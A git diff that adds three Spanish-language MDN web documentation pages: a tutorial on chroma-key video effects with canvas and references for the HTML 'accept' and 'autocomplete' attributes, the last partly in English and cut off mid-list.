diff --git a/files/es/web/html/anipular_video_por_medio_de_canvas/index.html b/files/es/web/html/anipular_video_por_medio_de_canvas/index.html
new file mode 100644
index 0000000000..a3ae61673d
--- /dev/null
+++ b/files/es/web/html/anipular_video_por_medio_de_canvas/index.html
@@ -0,0 +1,126 @@
+---
+title: Manipular video por medio de canvas
+slug: Web/HTML/anipular_video_por_medio_de_canvas
+tags:
+  - Canvas
+  - Firefox 3.5
+  - Video
+  - para_revisar
+translation_of: Web/API/Canvas_API/Manipulating_video_using_canvas
+---
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">{{ fx_minversion_header (3.5) }}</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Al combinar las capacidades del elemento </span></span><a class="internal" href="/En/HTML/Element/Video" title="En/HTML/Element/Video"><code>video</code></a><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""> introducido en Firefox 3.5 con un elemento </span></span><a class="internal" href="/en/HTML/Canvas" title="En/Canvas"><code>canvas</code></a><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""> , puedes manipular los datos de video en tiempo real para incorporar una variedad de efectos visuales que se mostrarán en el video.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Este artículo, adaptado de <a class="external" href="http://blog.mozbox.org/post/2009/02/25/video-canvas%3A-special-effects" title="http://blog.mozbox.org/post/2009/02/25/video-canvas:-special-effects">esta entrada del blog</a> de Paul Rouget, muestra cómo realizar una inserción croma (también conocida como el "efecto pantalla verde") utilizando el código JavaScript.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style=""><a href="/samples/video/chroma-key/index.xhtml" title="samples/video/chroma-key/index.xhtml">Ver este ejemplo en vivo</a> .</span></span></p>
+<h2 id="El_contenido_del_documento"><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El contenido del documento</span></span></h2>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El documento XHTML que se utiliza para representar este contenido se muestra a continuación.</span></span></p>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+  &lt;head&gt;
+    &lt;style&gt;
+      body {
+        background: black;
+        color:#CCCCCC;
+      }
+      #c2 {
+        background-image: url(foo.png);
+        background-repeat: no-repeat;
+      }
+      div {
+        float: left;
+        border :1px solid #444444;
+        padding:10px;
+        margin: 10px;
+        background:#3B3B3B;
+      }
+    &lt;/style&gt;
+    &lt;script type="text/javascript;version=1.8" src="main.js"&gt;&lt;/script&gt;
+  &lt;/head&gt;
+
+  &lt;body onload="processor.doLoad()"&gt;
+    &lt;div&gt;
+      &lt;video id="video" src="video.ogv" controls="true"/&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;canvas id="c1" width="160" height="96"/&gt;
+      &lt;canvas id="c2" width="160" height="96"/&gt;
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Los puntos clave a tener en cuenta son:</span></span></p>
+<ol>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Este documento establece dos elemento <a class="internal"><code>canvas</code></a> , con los identificadores de <code>c1</code> y <code>c2</code> .</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-44"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Canvas <code>c1</code> se utiliza para mostrar la imagen actual del video original, mientras que <code>c2</code> se utiliza para mostrar el video después de realizar la manipulación con el efecto croma; <code>c2</code> se carga previamente con la imagen fija que se utilizará para sustituir el fondo verde en el video.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-45"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El código JavaScript es importado de un script llamado <code>main.js</code> ; este script utiliza JavaScript 1.8 características, de modo que la versión se especifica en la línea 22 al importar la secuencia de comandos.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-46"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Cuando se carga el documento, se ejecuta el método <code>processor.doLoad()</code> de <code>main.js</code>.</span></span></li>
+</ol>
+<h2 id="El_código_JavaScript"><span class="goog-gtc-unit" id="goog-gtc-unit-47"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El código JavaScript</span></span></h2>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-48"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El código JavaScript en <code>main.js</code> consta de tres métodos.</span></span></p>
+<h3 id="Inicializar_el_reproductor_de_croma"><span class="goog-gtc-unit" id="goog-gtc-unit-49"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Inicializar el reproductor de croma</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-50"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El método <code>doLoad()</code> se llama cuando el documento XHTML se carga inicialmente.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-51"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La función de este método es preparar las variables necesarias para el código de procesamiento del croma y la creación de un detector de eventos para que podamos detectar cuándo inicia el usuario la reproducción del video.</span></span></p>
+<pre class="brush: js">  doLoad: function() {
+    this.video = document.getElementById("video");
+    this.c1 = document.getElementById("c1");
+    this.ctx1 = this.c1.getContext("2d");
+    this.c2 = document.getElementById("c2");
+    this.ctx2 = this.c2.getContext("2d");
+    let self = this;
+    this.video.addEventListener("play", function() {
+        self.width = self.video.videoWidth / 2;
+        self.height = self.video.videoHeight / 2;
+        self.timerCallback();
+      }, false);
+  },
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-65"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Este código obtiene referencias a los elementos del documento XHTML que son de particular interés, a saber, el elemento <code>video</code> y los dos elementos <code>canvas</code>.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-66"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">También recupera las referencias a los contextos gráficos para cada uno de los dos elementos canvas.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-67"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Estos serán utilizados cuando estamos haciendo de verdad el efecto croma.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-68"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Luego <code>addEventListener()</code> es llamado para empezar a ver el elemento <code>video</code> de forma que podamos obtener una notificación cuando el usuario presione el botón de reproducción en el video.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-69"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En respuesta al usuario que inicia la reproducción, el código obtiene la anchura y la altura de video, reduciendo a la mitad cada uno (vamos a reducir a la mitad el tamaño del video, cuando llevamos a cabo la manipulación efecto croma). A continuación, llama al método <code>timerCallback()</code> para iniciar el visionado del video y la computación del efecto visual.</span></span></p>
+<h3 id="La_devolución_de_llamada_del_temporizador"><span class="goog-gtc-unit" id="goog-gtc-unit-70"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">La devolución de llamada del temporizador</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-71"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La devolución de llamada del temporizador se llama inicialmente cuando el video comienza a reproducirse (cuando tiene lugar el evento "reproducir"), a continuación, toma la responsabilidad por la que se establece a sí mismo para ser llamado periódicamente, a fin de poner en marcha el efecto croma para cada imagen.</span></span></p>
+<pre class="brush: js">  timerCallback: function() {
+    if (this.video.paused || this.video.ended) {
+      return;
+    }
+    this.computeFrame();
+    let self = this;
+    setTimeout(function () {
+        self.timerCallback();
+      }, 0);
+  },
+</pre>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-82"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Lo primero que la devolución de llamada hace es comprobar si el video se está aún reproduciendo, y si no lo está, la devolución de llamada regresa inmediatamente sin hacer nada.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-83"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">A continuación, llama al método <code>computeFrame()</code>, que lleva a cabo la manipulación del efecto croma en la imagen de video actual.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-84"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Lo último que la devolución de llamada hace es llamar a <code>setTimeout()</code> para programarse para ser llamado lo más pronto posible.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-85"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En el mundo real, es probable que programes esto en función de la velocidad de fotogramas del video.</span></span></p>
+<h3 id="Manipulación_de_los_datos_de_la_imagen_del_video"><span class="goog-gtc-unit" id="goog-gtc-unit-86"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Manipulación de los datos de la imagen del video</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-87"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El método <code>computeFrame()</code>, que se muestra a continuación, se encarga de ir a buscar realmente un fotograma de datos y realizar el efecto croma.</span></span></p>
+<pre class="brush: js">  computeFrame: function() {
+    this.ctx1.drawImage(this.video, 0, 0, this.width, this.height);
+    let frame = this.ctx1.getImageData(0, 0, this.width, this.height);
+    let l = frame.data.length / 4;
+
+    for (let i = 0; i &lt; l; i++) {
+      let r = frame.data[i * 4 + 0];
+      let g = frame.data[i * 4 + 1];
+      let b = frame.data[i * 4 + 2];
+      if (g &gt; 100 &amp;&amp; r &gt; 100 &amp;&amp; b &lt; 43)
+        frame.data[i * 4 + 3] = 0;
+    }
+    this.ctx2.putImageData(frame, 0, 0);
+    return;
+  }
+</pre>
+<p>Cuando esta rutina es llamada, el elemento video muestra el fotograma de datos de video más reciente, que tiene este aspecto:</p>
+<p><img alt="video.png" class="internal default" src="/@api/deki/files/3282/=video.png" style="width: 320px; height: 192px;"></p>
+<p>En la línea 2, ese fotograma de video se copia al contexto gráfico <code>ctx1</code> del primer lienzo, especificando como alto y ancho los valores que previamente guardamos para dibujar el fotograma a mitad de tamaño.  <span class="goog-gtc-unit" id="goog-gtc-unit-104"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Ten en cuenta que puedes pasar simplemente el elemento de video al método <code>drawImage()</code> del contexto para dibujar el fotograma de video actual en dicho contexto.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-105"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">El resultado es:</span></span></p>
+<p><img alt="sourcectx.png" class="internal default" src="/@api/deki/files/3284/=sourcectx.png" style="width: 160px; height: 96px;"></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-106"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Línea 3 obtiene una copia de los datos gráficos del actual fotograma de video llamando al método <code>getImageData()</code> en el primer contexto.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-107"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Esto proporciona los datos de imagen en píxeles de 32 bits sin procesar que podemos después manipular.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-108"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Línea 4 calcula el número de píxeles de la imagen al dividir entre cuatro el tamaño total de los datos de la imagen del fotograma.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-109"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">El bucle <code>for</code> que comienza en la línea 6 explora a través de los píxeles del fotograma, extrayendo los valores rojo, verde y azul para cada píxel, y compara los valores frente a números predeterminados que se utilizan para detectar la pantalla verde que se reemplazará por la imagen de fondo fija importada de <code>foo.png</code> .</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-110"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Cada píxel de datos de imagen del fotograma que se encuentra que está dentro de los parámetros que se consideran parte de la pantalla verde tiene su valor alfa reemplazado por un cero, lo que indica que el píxel es totalmente transparente.</span></span>  <span class="goog-gtc-unit" id="goog-gtc-unit-111"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Como resultado, la imagen final tiene toda el área de pantalla verde 100% transparente, de modo que cuando se dibuja en el contexto de destino en la línea 13, el resultado es una superposición sobre el fondo estático.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-112"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">La imagen resultante tiene este aspecto:</span></span></p>
+<p><img alt="output.png" class="internal default" src="/@api/deki/files/3283/=output.png" style="width: 161px; height: 96px;"></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-113"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Esto se hace en varias ocasiones mientras el video se reproduce, de manera que fotograma tras fotograma se procesa y se muestra con el efecto de croma.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-114"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style=""><a href="/samples/video/chroma-key/index.xhtml" title="samples/video/chroma-key/index.xhtml">Ver este ejemplo en vivo</a> .</span></span></p>
+<h2 id="Consulta_también"><span class="goog-gtc-unit" id="goog-gtc-unit-115"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Consulta también</span></span></h2>
+<ul>
+ <li><a class="internal" href="/es/Usando_audio_y_video_en_Firefox" title="es/Usando audio y video en Firefox"><span class="goog-gtc-unit" id="goog-gtc-unit-116"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Usar audio y video en Firefox</span></span></a></li>
+</ul>
+<p>{{ languages ( { "en": "En/Manipulating_video_using_canvas" } ) }}</p>
diff --git a/files/es/web/html/atributos/accept/index.html b/files/es/web/html/atributos/accept/index.html
new file mode 100644
index 0000000000..b98ff8b644
--- /dev/null
+++ b/files/es/web/html/atributos/accept/index.html
@@ -0,0 +1,169 @@
+---
+title: 'HTML el atributo: accept'
+slug: Web/HTML/Atributos/accept
+tags:
+  - Accept
+  - Archivo
+  - Entrada
+  - Input
+  - Referencia
+  - atributo
+translation_of: Web/HTML/Attributes/accept
+---
+<p class="summary"><span class="seoSummary">El atributo <strong><code>accept</code></strong> toma como valor una lista separada por comas de uno o más tipos de archivos, o {{anch("Especificadores de tipo de archivo únicos","especificadores de tipo de archivo únicos")}}, que describen qué tipos de archivo permitir. </span>La propiedad «<em>accept</em>» es un atributo del tipo {{HTMLElement("input/file", "file")}} {{HTMLElement("input")}}. Se admitía en el elemento {{HTMLElement("form")}}, pero se eliminó a favor de {{HTMLElement("input/file", "file")}} en HTML5.</p>
+
+<p>Debido a que un determinado tipo de archivo se puede identificar de más de una manera, es útil proporcionar un conjunto completo de especificadores de tipo cuando necesiten archivos de un tipo específico, o usar el comodín para indicar que un tipo de cualquier formato es aceptable.</p>
+
+<p>Por ejemplo, hay varias formas de identificar los archivos de Microsoft Word, por lo que un sitio que acepta archivos de Word puede usar un <code>&lt;input&gt;</code> como este:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="docpicker"
+  accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"&gt;</pre>
+
+<p>Mientras que si aceptas un archivo multimedia, es posible que desees incluir cualquier formato de ese tipo de medio:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="soundFile" accept="audio/*"&gt;
+&lt;input type="file" id="videoFile" accept="video/*"&gt;
+&lt;input type="file" id="imageFile" accept="image/*"&gt;</pre>
+
+<p>El atributo <code>accept</code> no valida los tipos de archivos seleccionados; simplemente proporciona sugerencias para los navegadores para guiar a los usuarios hacia la selección de los tipos de archivo correctos. Todavía es posible (en la mayoría de los casos) que los usuarios cambien una opción en el selector de archivos que hace posible anular esto y seleccionar cualquier archivo que deseen, y luego elegir tipos de archivo incorrectos.</p>
+
+<p>Debido a esto, te debes asegurar de que el requisito esperado esté validado en el lado del servidor.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Cuando se configura en un tipo de entrada de archivo, el selector de archivos nativo que se abre solo debe permitir seleccionar archivos del tipo de archivo correcto. La mayoría de los sistemas operativos aligeran los archivos que no coinciden con los criterios y no se pueden seleccionar.</p>
+
+<div id="ejemplo_sencillo">
+<pre class="brush: html notranslate">&lt;p&gt;
+	&lt;label for="soundFile"&gt;Selecciona un archivo de audio:&lt;/label&gt;
+	&lt;input type="file" id="soundFile" accept="audio/*"&gt;
+	&lt;/p&gt;
+	&lt;p&gt;
+	&lt;label for="videoFile"&gt;Selecciona un archivo de video:&lt;/label&gt;
+	&lt;input type="file" id="videoFile" accept="video/*"&gt;
+	&lt;/p&gt;
+	&lt;p&gt;
+	&lt;label for="imageFile"&gt;Selecciona algunas imágenes:&lt;/label&gt;
+	&lt;input type="file" id="imageFile" accept="image/*" multiple&gt;
+	&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('ejemplo_sencillo', '100%', 200)}}</p>
+
+<p>Ten en cuenta que el último ejemplo te permite seleccionar varias imágenes. Consulta el atributo <code><a href="multiple">multiple</a></code> para obtener más información.</p>
+</div>
+
+<h2 id="Especificadores_de_tipo_de_archivo_únicos">Especificadores de tipo de archivo únicos</h2>
+
+<p>Un <strong>especificador de tipo de archivo único</strong> es una cadena que describe un tipo de archivo que el usuario puede seleccionar en un elemento {{HTMLElement("input")}} de tipo <code>file</code>. Cada especificador de tipo de archivo único puede adoptar una de las siguientes formas:</p>
+
+<ul>
+ <li>Una extensión de nombre de archivo válida que no distingue entre mayúsculas y minúsculas, que comienza con un punto ("."). Por ejemplo: <code>.jpg</code>, <code>.pdf</code>, o <code>.doc</code>.</li>
+ <li>Una cadena de tipo MIME válida, sin extensiones.</li>
+ <li>La cadena <code>audio/*</code> significa "cualquier archivo de audio".</li>
+ <li>La cadena <code>video/*</code> significa "cualquier archivo de video".</li>
+ <li>La cadena <code>image/*</code> significa "cualquier archivo de imagen".</li>
+</ul>
+
+<p>El atributo <code>accept</code> toma como valor una cadena que contiene uno o más de estos especificadores de tipo de archivo únicos, separados por comas. Por ejemplo, un selector de archivos que necesita contenido que se puede presentar como una imagen, incluidos los formatos de imagen estándar y los archivos PDF, podría verse así:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" accept="image/*,.pdf"&gt;</pre>
+
+<h2 id="Usar_inputs_de_archivo">Usar <em>input</em>s de archivo</h2>
+
+<h3 id="Un_ejemplo_básico">Un ejemplo básico</h3>
+
+<pre class="brush: html notranslate">&lt;form method="post" enctype="multipart/form-data"&gt;
+ &lt;div&gt;
+   &lt;label for="file"&gt;Elige el archivo a cargar&lt;/label&gt;
+   &lt;input type="file" id="file" name="file" multiple&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+   &lt;button&gt;Enviar&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>Esto produce la siguiente salida:</p>
+
+<p>{{EmbedLiveSample('Un_ejemplo_básico', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: También puedes encontrar este ejemplo en GitHub; consulta <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/simple-file.html">código fuente</a> y también puedes <a href="https://mdn.github.io/learning-area/html/forms/file-examples/simple-file.html">verlo funcionando en vivo</a>.</p>
+</div>
+
+<p>Independientemente del dispositivo o sistema operativo del usuario, el <code>&lt;input&gt;</code> de archivo proporciona un botón que abre un cuadro de diálogo selector de archivos que permite al usuario elegir un archivo.</p>
+
+<p>La inclusión del atributo <code><a href="multiple">multiple</a></code>, como se muestra arriba, especifica que se pueden elegir varios archivos a la vez. El usuario puede elegir varios archivos del selector de archivos de cualquier manera que la plataforma elegida lo permita (por ejemplo, manteniendo presionada la tecla <kbd>Mayús</kbd> o <kbd>Control</kbd> y luego haciendo clic). Si solo deseas que el usuario elija un único archivo por <code>&lt;input&gt;</code>, omite el atributo <code>multiple</code>.</p>
+
+<h3 id="Limitar_los_tipos_de_archivo_aceptados">Limitar los tipos de archivo aceptados</h3>
+
+<p>A menudo, no querrás que el usuario pueda elegir cualquier tipo de archivo arbitrario; en su lugar, quieres que seleccionen archivos de un tipo o tipos específicos. Por ejemplo, si la entrada de tu archivo permite a los usuarios cargar una imagen de perfil, probablemente desees que seleccionen formatos de imagen compatibles con la web, como {{Glossary("JPEG")}} o {{Glossary("PNG")}}.</p>
+
+<p>Los tipos de archivo aceptables se pueden especificar con el atributo {{HTMLAttrxRef("accept", "input/file")}}, que toma una lista separada por comas de extensiones de archivo permitidas o tipos MIME. Algunos ejemplos:</p>
+
+<ul>
+ <li><code>accept="image/png"</code> o <code>accept=".png"</code> — Acepta archivos PNG.</li>
+ <li><code>accept="image/png, image/jpeg"</code> o <code>accept=".png, .jpg, .jpeg"</code> — Acepta archivos PNG o JPEG.</li>
+ <li><code>accept="image/*"</code> — Acepta cualquier archivo con un tipo MIME de <code>image/*</code>. (Muchos dispositivos móviles también permiten que el usuario tome una foto con la cámara cuando se usa).</li>
+ <li><code>accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"</code> — Acepta cualquier cosa que huela a un documento de MS Word.</li>
+</ul>
+
+<p>Veamos un ejemplo más completo:</p>
+
+<pre class="brush: html notranslate">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;div&gt;
+    &lt;label for="profile_pic"&gt;Elige el archivo para cargar&lt;/label&gt;
+    &lt;input type="file" id="profile_pic" name="profile_pic"
+          accept=".jpg, .jpeg, .png"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Enviar&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample('Limitar_los_tipos_de_archivo_aceptados', 650, 60)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#attr-input-accept', 'atributo accept')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#attr-input-accept', 'Atributo accept')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("html.elements.attribute.accept")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Using_files_from_web_applications", "Uso de archivos de aplicaciones web")}}</li>
+ <li>{{web.link("/es/docs/Web/API/File", "API de File")}}</li>
+</ul>
diff --git a/files/es/web/html/atributos/autocomplete/index.html b/files/es/web/html/atributos/autocomplete/index.html
new file mode 100644
index 0000000000..b8546e368d
--- /dev/null
+++ b/files/es/web/html/atributos/autocomplete/index.html
@@ -0,0 +1,180 @@
+---
+title: The HTML autocomplete attribute
+slug: Web/HTML/Atributos/autocomplete
+translation_of: Web/HTML/Attributes/autocomplete
+---
+<p>El atributo <code>autocomplete</code>  está disponible en varios tipos de  {{HTMLElement("input")}} aquellos que toman un texto o valor numérico como entrada. <span class="seoSummary"><code>autocomplete</code> </span> permite a los desarrolladores web especificar qué permisos si los hay <span class="seoSummary">{{Glossary("user agent")}} </span> debe proporcionar asistencia automatizada para completar los valores de los campos de formulario, así como una guía para el navegador en cuanto al tipo de información que se espera en el campo.</p>
+
+<p> </p>
+
+<p>Los valores sugeridos generalmente depende del navegador. Normalmente, provienen de valores ​​ingresados ​​por el usuario, pero también pueden provenir de valores preconfigurados. Por ejemplo, un navegador puede permitir que el usuario guarde su nombre, dirección, número de teléfono y direcciones de correo electrónico para autocompletar así como también datos de tarjetas de crédito.</p>
+
+<p>Si un elemento {{HTMLElement("input")}} no tiene el atributo <code>autocomplete</code> , entonces los navegadores usan el atributo <code>autocomplete</code> del {{HTMLElement("form")}} que lo contiene. En otras palabras, el {{HTMLElement("form")}} del que el {{HTMLElement("input")}} desciende. También puede ser especificado en el atributo {{htmlattrxref("form", "input")}} del {{HTMLElement("input")}} en cuestión.</p>
+
+<p>Para más información vea el atributo {{htmlattrxref("autocomplete", "form")}} del elemento {{HTMLElement("form")}}</p>
+
+<div class="blockIndicator note">
+<p>Para proveer el autocompletado, el navegador necesita del los elementos <code>&lt;input&gt;</code>:</p>
+
+<ol>
+ <li>Que tengan <code>name</code> y/o <code>id</code></li>
+ <li>Pertenezcan a un elemento <code>&lt;form&gt;</code></li>
+ <li>Que el formulario tenga un botón {{HTMLElement("input/submit", "submit")}}</li>
+</ol>
+</div>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt><code>"off"</code></dt>
+ <dd>The browser is not permitted to automatically enter or select a value for this field. It is possible that the document or application provides its own autocomplete feature, or that security concerns require that the field's value not be automatically entered.
+ <div class="note"><strong>Note:</strong> In most modern browsers, setting <code>autocomplete</code> to <code>"off"</code> will not prevent a password manager from asking the user if they would like to save username and password information, or from automatically filling in those values in a site's login form. See <a href="/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#The_autocomplete_attribute_and_login_fields">the autocomplete attribute and login fields</a>.</div>
+ </dd>
+ <dt><code>"on"</code></dt>
+ <dd>The browser is allowed to automatically complete the input. No guidance is provided as to the type of data expected in the field, so the browser may use its own judgement.</dd>
+ <dt><code>"name"</code></dt>
+ <dd>The field expects the value to be a person's full name. Using <code>"name"</code> rather than breaking the name down into its components is generally preferred because it avoids dealing with the wide diversity of human names and how they are structured; however, you can use the following <code>autocomplete</code> values if you do need to break the name down into its components:
+ <dl>
+  <dt><code>"honorific-prefix"</code></dt>
+  <dd>The prefix or title, such as "Mrs.", "Mr.", "Miss", "Ms.", "Dr.", or "Mlle.".</dd>
+  <dt><code>"given-name"</code></dt>
+  <dd>The given (or "first") name.</dd>
+  <dt><code>"additional-name"</code></dt>
+  <dd>The middle name.</dd>
+  <dt><code>"family-name"</code></dt>
+  <dd>The family (or "last") name.</dd>
+  <dt><code>"honorific-suffix"</code></dt>
+  <dd>The suffix, such as "Jr.", "B.Sc.", "PhD.", "MBASW", or "IV".</dd>
+  <dt><code>"nickname"</code></dt>
+  <dd>A nickname or handle.</dd>
+ </dl>
+ </dd>
+ <dt><code>"email"</code></dt>
+ <dd>An email address.</dd>
+ <dt><code>"username"</code></dt>
+ <dd>A username or account name.</dd>
+ <dt><code>"new-password"</code></dt>
+ <dd>A new password. When creating a new account or changing passwords, this is the "Enter your new password" field, as opposed to any "Enter your current password" field that might be present. This may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password.</dd>
+ <dt><code>"current-password"</code></dt>
+ <dd>The user's current password.</dd>
+ <dt><code>"organization-title"</code></dt>
+ <dd>A job title, or the title a person has within an organization, such as "Senior Technical Writer", "President", or "Assistant Troop Leader".</dd>
+ <dt><code>"organization"</code></dt>
+ <dd>A company or organization name, such as "Acme Widget Company" or "Girl Scouts of America".</dd>
+ <dt><code>"street-address"</code></dt>
+ <dd>A street address. This can be multiple lines of text, and should fully identify the location of the address within its second administrative level (typically a city or town), but should not include the city name, ZIP or postal code, or country name.</dd>
+ <dt><code>"address-line1"</code>, <code>"address-line2"</code>, <code>"address-line3"</code></dt>
+ <dd>Each individual line of the street address. These should only be present if the <code>"street-address"</code> is also present.</dd>
+ <dt><code>"address-level4"</code></dt>
+ <dd>The finest-grained {{anch("Administrative levels in addresses", "administrative level")}}, in addresses which have four levels.</dd>
+ <dt><code>"address-level3"</code></dt>
+ <dd>The third {{anch("Administrative levels in addresses", "administrative level")}}, in addresses with at least three administrative levels.</dd>
+ <dt><code>"address-level2"</code></dt>
+ <dd>The second {{anch("Administrative levels in addresses", "administrative level")}}, in addresses with at least two of them. In countries with two administrative levels, this would typically be the city, town, village, or other locality in which the address is located.</dd>
+ <dt><code>"address-level1"</code></dt>
